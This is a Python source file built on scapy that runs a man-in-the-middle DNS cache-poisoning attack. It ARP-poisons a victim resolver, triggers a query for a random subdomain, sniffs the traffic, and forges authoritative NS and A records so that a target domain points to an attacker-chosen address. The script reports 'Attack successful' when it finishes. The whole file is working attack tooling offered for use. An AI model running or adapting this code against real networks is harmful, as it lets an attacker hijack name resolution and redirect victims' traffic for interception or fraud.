import argparse
from scapy.all import ARP, Ether, sniff, sendp, send, IP, UDP, DNS, DNSQR, DNSRR
from vars import ccolors
import utils
from arppoison import arppoison
import sys
import socket

def silent(args):
    # ARP poison the vicitims (two way ARP poisoning)
    for ip in args.soaIP:
        arppoison(args.victim, ip)

    # send query request to the victim
    args.randomSubdomain = utils.getRandomSubdomain() + args.targetDomain
    reqPkt = IP(dst=args.victim) / UDP(sport=123) / DNS(qr=0, qd=DNSQR(qname=args.randomSubdomain))
    send(reqPkt, verbose=False)

    global globalargs
    globalargs = args

    # listen for packets on all interfaces (expect query request from victim to authoritative DNS)
    sniff(prn=dnsSpoof)

def dnsSpoof(pkt):
    if not pkt.haslayer(DNSQR) or not pkt.haslayer(UDP):
        sendp(pkt, verbose=False)
    else:
        if (globalargs.randomSubdomain in pkt[DNS].qd.qname) and (pkt[IP].dst in globalargs.soaIP):
            # return the response to the victim (it will think its from the authoritative DNS)
            spoof_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) / \
                        UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) / \
                        DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd, \
			            ns=DNSRR(rrname=globalargs.targetDomain,  type='NS', rdata=globalargs.soaDomain[0], ttl=globalargs.ttl), \
                        ar=DNSRR(rrname=globalargs.soaDomain[0], type='A', rdata=globalargs.addressToForge, ttl=globalargs.ttl))
            send(spoof_pkt, verbose=False)
            print ccolors.OKGREEN + "Victim DNS poisoned...\n" + ccolors.NC

        elif (globalargs.randomSubdomain in pkt[DNS].qd.qname) and (pkt[IP].dst == globalargs.addressToForge):
    	    spoof_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) / \
                UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) / \
                DNS(id=pkt[DNS].id, qr=1, aa=1, rcode=0, qd=pkt[DNS].qd, \
    			an=DNSRR(rrname=pkt[DNS].qd.qname, type="A", rdata="123.123.123.123"))
    	    send(spoof_pkt, verbose=False)
            print ccolors.OKGREEN + "Attack successful!\n" + ccolors.NC + ccolors.WARNING + "Terminating..." + ccolors.NC
            sys.exit()
